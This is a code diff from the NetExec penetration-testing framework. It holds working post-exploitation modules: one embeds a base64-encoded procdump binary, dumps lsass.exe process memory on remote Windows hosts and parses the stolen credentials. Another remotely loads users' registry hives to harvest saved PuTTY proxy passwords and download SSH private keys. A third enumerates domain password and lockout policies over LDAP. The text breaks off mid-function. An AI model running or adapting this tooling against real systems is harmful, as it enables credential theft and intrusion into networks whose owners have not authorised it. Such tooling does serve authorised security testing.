from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL
|
||||
@@ -55,12 +55,13 @@ class NXCModule:
|
||||
)
|
||||
|
||||
rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
|
||||
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
rpctransport.set_dport(self.port)
|
||||
|
||||
try:
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
if connection.kerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
# Connect to spoolss named pipe
|
||||
dce.connect()
|
||||
# Bind to MSRPC MS-RPRN UUID: 12345678-1234-ABCD-EF00-0123456789AB
|
||||
|
||||
@@ -7,6 +7,8 @@ import re
|
||||
import sys
|
||||
import pypykatz
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.paths import TMP_PATH
|
||||
from os.path import abspath, join
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -30,7 +32,7 @@ class NXCModule:
|
||||
"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 truncated
|
||||
)
|
||||
self.procdump = "procdump.exe"
|
||||
self.procdump_path = "/tmp/"
|
||||
self.procdump_path = abspath(TMP_PATH)
|
||||
self.dir_result = self.procdump_path
|
||||
self.useembeded = True
|
||||
|
||||
@@ -89,10 +91,10 @@ class NXCModule:
|
||||
|
||||
context.log.display(f"Copy {machine_name} to host")
|
||||
|
||||
with open(self.dir_result + machine_name, "wb+") as dump_file:
|
||||
with open(abspath(join(self.dir_result, machine_name)), "wb+") as dump_file:
|
||||
try:
|
||||
connection.conn.getFile(self.share, self.tmp_share + machine_name, dump_file.write)
|
||||
context.log.success(f"Dumpfile of lsass.exe was transferred to {self.dir_result + machine_name}")
|
||||
context.log.success(f"Dumpfile of lsass.exe was transferred to {abspath(join(self.dir_result, machine_name))}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error while get file: {e}")
|
||||
|
||||
@@ -108,7 +110,7 @@ class NXCModule:
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
|
||||
|
||||
with open(self.dir_result + machine_name, "rb") as dump:
|
||||
with open(abspath(join(self.dir_result, machine_name)), "rb") as dump:
|
||||
try:
|
||||
credz_bh = []
|
||||
try:
|
||||
|
||||
+90
-71
@@ -1,92 +1,111 @@
|
||||
from dateutil.relativedelta import relativedelta as rd
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from math import fabs
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Created by fplazar and wanetty
|
||||
Module by @gm_eduard and @ferranplaza
|
||||
Based on: https://github.com/juliourena/CrackMapExec/blob/master/cme/modules/get_description.py
|
||||
"""
|
||||
Initial FGPP/PSO script written by @n00py: https://github.com/n00py/GetFGPP
|
||||
|
||||
Module by @_sandw1ch
|
||||
"""
|
||||
name = "pso"
|
||||
description = "Query to get PSO from LDAP"
|
||||
description = "Module to get the Fine Grained Password Policy/PSOs"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
multiple_hosts = False
|
||||
|
||||
pso_fields = [
|
||||
"cn",
|
||||
"msDS-PasswordReversibleEncryptionEnabled",
|
||||
"msDS-PasswordSettingsPrecedence",
|
||||
"msDS-MinimumPasswordLength",
|
||||
"msDS-PasswordHistoryLength",
|
||||
"msDS-PasswordComplexityEnabled",
|
||||
"msDS-LockoutObservationWindow",
|
||||
"msDS-LockoutDuration",
|
||||
"msDS-LockoutThreshold",
|
||||
"msDS-MinimumPasswordAge",
|
||||
"msDS-MaximumPasswordAge",
|
||||
"msDS-PSOAppliesTo",
|
||||
]
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available."""
|
||||
|
||||
def convert_time_field(self, field, value):
|
||||
time_fields = {"msDS-LockoutObservationWindow": (60, "mins"), "msDS-MinimumPasswordAge": (86400, "days"), "msDS-MaximumPasswordAge": (86400, "days"), "msDS-LockoutDuration": (60, "mins")}
|
||||
|
||||
if field in time_fields:
|
||||
value = f"{int(fabs(float(value)) / (10000000 * time_fields[field][0]))} {time_fields[field][1]}"
|
||||
|
||||
return value
|
||||
|
||||
def on_login(self, context, connection):
|
||||
"""Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection"""
|
||||
# Building the search filter
|
||||
search_filter = "(objectClass=msDS-PasswordSettings)"
|
||||
# Are there even any FGPPs?
|
||||
context.log.success("Attempting to enumerate policies...")
|
||||
resp = connection.ldapConnection.search(searchBase=f"CN=Password Settings Container,CN=System,{''.join([f'DC={dc},' for dc in connection.domain.split('.')]).rstrip(',')}", searchFilter="(objectclass=*)")
|
||||
if len(resp) > 1:
|
||||
context.log.highlight(f"{len(resp) - 1} PSO Objects found!")
|
||||
context.log.highlight("")
|
||||
context.log.success("Attempting to enumerate objects with an applied policy...")
|
||||
|
||||
try:
|
||||
context.log.debug(f"Search Filter={search_filter}")
|
||||
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=self.pso_fields, sizeLimit=0)
|
||||
except ldap_impacket.LDAPSearchError as e:
|
||||
if e.getErrorString().find("sizeLimitExceeded") >= 0:
|
||||
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
|
||||
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
|
||||
# paged queries
|
||||
resp = e.getAnswers()
|
||||
else:
|
||||
context.log.debug(e)
|
||||
return False
|
||||
|
||||
pso_list = []
|
||||
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
# Who do they apply to?
|
||||
resp = connection.search(searchFilter="(objectclass=*)", attributes=["DistinguishedName", "msDS-PSOApplied"])
|
||||
for attrs in resp:
|
||||
if isinstance(attrs, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
for attr in attrs["attributes"]:
|
||||
if str(attr["type"]) in "msDS-PSOApplied":
|
||||
context.log.highlight(f"Object: {attrs['objectName']}")
|
||||
context.log.highlight("Applied Policy: ")
|
||||
for value in attr["vals"]:
|
||||
context.log.highlight(f"\t{value}")
|
||||
context.log.highlight("")
|
||||
|
||||
pso_info = {}
|
||||
# Let"s find out even more details!
|
||||
context.log.success("Attempting to enumerate details...\n")
|
||||
resp = connection.search(searchFilter="(objectclass=msDS-PasswordSettings)",
|
||||
attributes=["name", "msds-lockoutthreshold", "msds-psoappliesto", "msds-minimumpasswordlength",
|
||||
"msds-passwordhistorylength", "msds-lockoutobservationwindow", "msds-lockoutduration",
|
||||
"msds-passwordsettingsprecedence", "msds-passwordcomplexityenabled", "Description",
|
||||
"msds-passwordreversibleencryptionenabled", "msds-minimumpasswordage", "msds-maximumpasswordage"])
|
||||
for attrs in resp:
|
||||
if not isinstance(attrs, ldapasn1_impacket.SearchResultEntry):
|
||||
continue
|
||||
policyName, description, passwordLength, passwordhistorylength, lockoutThreshold, observationWindow, lockoutDuration, complexity, minPassAge, maxPassAge, reverseibleEncryption, precedence, policyApplies = ("",) * 13
|
||||
for attr in attrs["attributes"]:
|
||||
if str(attr["type"]) == "name":
|
||||
policyName = attr["vals"][0]
|
||||
elif str(attr["type"]) == "msDS-LockoutThreshold":
|
||||
lockoutThreshold = attr["vals"][0]
|
||||
elif str(attr["type"]) == "msDS-MinimumPasswordLength":
|
||||
passwordLength = attr["vals"][0]
|
||||
elif str(attr["type"]) == "msDS-PasswordHistoryLength":
|
||||
passwordhistorylength = attr["vals"][0]
|
||||
elif str(attr["type"]) == "msDS-LockoutObservationWindow":
|
||||
observationWindow = attr["vals"][0]
|
||||
elif str(attr["type"]) == "msDS-LockoutDuration":
|
||||
lockoutDuration = attr["vals"][0]
|
||||
elif str(attr["type"]) == "msDS-PasswordSettingsPrecedence":
|
||||
precedence = attr["vals"][0]
|
||||
elif str(attr["type"]) == "msDS-PasswordComplexityEnabled":
|
||||
complexity = attr["vals"][0]
|
||||
elif str(attr["type"]) == "msDS-PasswordReversibleEncryptionEnabled":
|
||||
reverseibleEncryption = attr["vals"][0]
|
||||
elif str(attr["type"]) == "msDS-MinimumPasswordAge":
|
||||
minPassAge = attr["vals"][0]
|
||||
elif str(attr["type"]) == "msDS-MaximumPasswordAge":
|
||||
maxPassAge = attr["vals"][0]
|
||||
elif str(attr["type"]) == "description":
|
||||
description = attr["vals"][0]
|
||||
elif str(attr["type"]) == "msDS-PSOAppliesTo":
|
||||
policyApplies = ""
|
||||
for value in attr["vals"]:
|
||||
policyApplies += f"{value};"
|
||||
context.log.highlight(f"Policy Name: {policyName}")
|
||||
if description:
|
||||
context.log.highlight(f"Description: {description}")
|
||||
context.log.highlight(f"Minimum Password Length: {passwordLength}")
|
||||
context.log.highlight(f"Minimum Password History Length: {passwordhistorylength}")
|
||||
context.log.highlight(f"Lockout Threshold: {lockoutThreshold}")
|
||||
context.log.highlight(f"Observation Window: {mins(observationWindow)}")
|
||||
context.log.highlight(f"Lockout Duration: {mins(lockoutDuration)}")
|
||||
context.log.highlight(f"Complexity Enabled: {complexity}")
|
||||
context.log.highlight(f"Minimum Password Age: {days(minPassAge)}")
|
||||
context.log.highlight(f"Maximum Password Age: {days(maxPassAge)}")
|
||||
context.log.highlight(f"Reversible Encryption: {reverseibleEncryption}")
|
||||
context.log.highlight(f"Precedence: {precedence} (Lower is Higher Priority)")
|
||||
context.log.highlight("Policy Applies to:")
|
||||
for value in str(policyApplies)[:-1].split(";"):
|
||||
if value:
|
||||
context.log.highlight(f"\t{value}")
|
||||
context.log.highlight("")
|
||||
|
||||
try:
|
||||
for attribute in item["attributes"]:
|
||||
attr_name = str(attribute["type"])
|
||||
if attr_name in self.pso_fields:
|
||||
pso_info[attr_name] = attribute["vals"][0]._value.decode("utf-8")
|
||||
|
||||
pso_list.append(pso_info)
|
||||
def days(ldap_time):
|
||||
return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).days} days"
|
||||
|
||||
except Exception as e:
|
||||
context.log.debug("Exception:", exc_info=True)
|
||||
context.log.debug(f"Skipping item, cannot process due to error {e}")
|
||||
if len(pso_list) > 0:
|
||||
context.log.success("Password Settings Objects (PSO) found:")
|
||||
for pso in pso_list:
|
||||
for field in self.pso_fields:
|
||||
if field in pso:
|
||||
value = self.convert_time_field(field, pso[field])
|
||||
context.log.highlight(f"{field}: {value}")
|
||||
context.log.highlight("-----")
|
||||
else:
|
||||
context.log.info("No Password Settings Objects (PSO) found.")
|
||||
|
||||
def mins(ldap_time):
|
||||
return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).minutes} minutes"
|
||||
@@ -0,0 +1,221 @@
|
||||
from datetime import datetime
|
||||
from io import BytesIO
|
||||
import traceback
|
||||
from urllib.parse import unquote
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from os import makedirs
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.paths import NXC_PATH
|
||||
import re
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module by @NeffIsBack"""
|
||||
|
||||
name = "putty"
|
||||
description = "Query the registry for users who saved ssh private keys in PuTTY. Download the private keys if found."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
self.module_options = None
|
||||
self.rrp = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def get_logged_on_users(self):
|
||||
"""Enumerate all logged in and loaded Users on System"""
|
||||
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
|
||||
users = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
|
||||
|
||||
# Get User Names
|
||||
user_objects = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
|
||||
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
|
||||
|
||||
# Filter legit users in regex
|
||||
user_objects.remove(".DEFAULT")
|
||||
regex = re.compile(r"^.*_Classes$")
|
||||
return [i for i in user_objects if not regex.match(i)]
|
||||
|
||||
def get_all_users(self):
|
||||
"""Get all users that have logged in at some point in time"""
|
||||
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList")["phkResult"]
|
||||
users = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
|
||||
|
||||
# Get User Names
|
||||
user_objects = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
|
||||
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
|
||||
return user_objects
|
||||
|
||||
def sid_to_name(self, all_users):
|
||||
"""Convert SID to Usernames for better readability"""
|
||||
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
|
||||
|
||||
user_dict = {}
|
||||
for user_object in all_users:
|
||||
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
|
||||
user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
|
||||
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
|
||||
user_dict[user_object] = user_profile_path.split("\\")[-1]
|
||||
return user_dict
|
||||
|
||||
def load_missing_users(self, unloaded_user_objects):
|
||||
"""Load missing users into registry to access their registry keys."""
|
||||
for user_object in unloaded_user_objects:
|
||||
# Extract profile Path of NTUSER.DAT
|
||||
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
|
||||
user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
|
||||
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
|
||||
|
||||
# Load Profile
|
||||
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
|
||||
|
||||
self.context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}")
|
||||
rrp.hBaseRegLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT")
|
||||
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
|
||||
|
||||
def unload_missing_users(self, unloaded_user_objects):
|
||||
"""If some user were not logged in at the beginning we unload them from registry."""
|
||||
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
|
||||
|
||||
for user_object in unloaded_user_objects:
|
||||
self.context.log.debug(f"UNLOAD USER FROM REGISTRY: {user_object}")
|
||||
try:
|
||||
rrp.hBaseRegUnLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object)
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Error unloading user {user_object} in registry: {e}")
|
||||
self.context.log.debug(traceback.format_exc())
|
||||
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
|
||||
|
||||
def get_private_key_paths(self, all_users):
|
||||
"""Get all private key paths for all users"""
|
||||
sessions = []
|
||||
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
|
||||
|
||||
for user in all_users:
|
||||
try:
|
||||
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"{user}\\Software\\SimonTatham\\PuTTY\\Sessions")["phkResult"]
|
||||
reg_sessions = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
|
||||
self.context.log.info(f'Found {reg_sessions} sessions for user "{self.user_dict[user]}" in registry!')
|
||||
|
||||
# Get Session Names
|
||||
session_names = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(reg_sessions)]
|
||||
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
|
||||
|
||||
# Extract stored Session infos
|
||||
for session_name in session_names:
|
||||
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"{user}\\Software\\SimonTatham\\PuTTY\\Sessions\\{session_name}")["phkResult"]
|
||||
|
||||
# Get private Key Path
|
||||
private_key_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "PublicKeyFile")[1].split("\x00")[:-1][0]
|
||||
proxy_host = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyHost")[1].split("\x00")[:-1][0]
|
||||
proxy_port = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyPort")[1]
|
||||
proxy_username = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyUsername")[1].split("\x00")[:-1][0]
|
||||
proxy_password = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyPassword")[1].split("\x00")[:-1][0]
|
||||
|
||||
# Session infos
|
||||
hostname = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "HostName")[1].split("\x00")[:-1][0]
|
||||
port = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "PortNumber")[1]
|
||||
protocol = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "Protocol")[1].split("\x00")[:-1][0]
|
||||
sessions.append({
|
||||
"user": self.user_dict[user],
|
||||
"session_name": unquote(session_name),
|
||||
"hostname": hostname,
|
||||
"port": port,
|
||||
"protocol": protocol,
|
||||
"private_key_path": private_key_path,
|
||||
"proxy_host": proxy_host,
|
||||
"proxy_port": proxy_port,
|
||||
"proxy_username": proxy_username,
|
||||
"proxy_password": proxy_password
|
||||
})
|
||||
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
|
||||
|
||||
except DCERPCException as e:
|
||||
if str(e).find("ERROR_FILE_NOT_FOUND"):
|
||||
self.context.log.debug(f"No PuTTY session config found in registry for user {self.user_dict[user]}")
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Unexpected error: {e}")
|
||||
self.context.log.debug(traceback.format_exc())
|
||||
return sessions
|
||||
|
||||
def extract_session(self, sessions):
|
||||
proxycreds_file = f"{NXC_PATH}/modules/PuTTY/putty_proxycreds_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
|
||||
for session in sessions:
|
||||
if session["private_key_path"]:
|
||||
makedirs(f"{NXC_PATH}/modules/PuTTY", exist_ok=True)
|
||||
share = session["private_key_path"].split(":")[0] + "$"
|
||||
file_path = session["private_key_path"].split(":")[1]
|
||||
download_path = f"{NXC_PATH}/modules/PuTTY/putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec".replace(":", "-")
|
||||
|
||||
buf = BytesIO()
|
||||
with open(download_path, "wb") as file:
|
||||
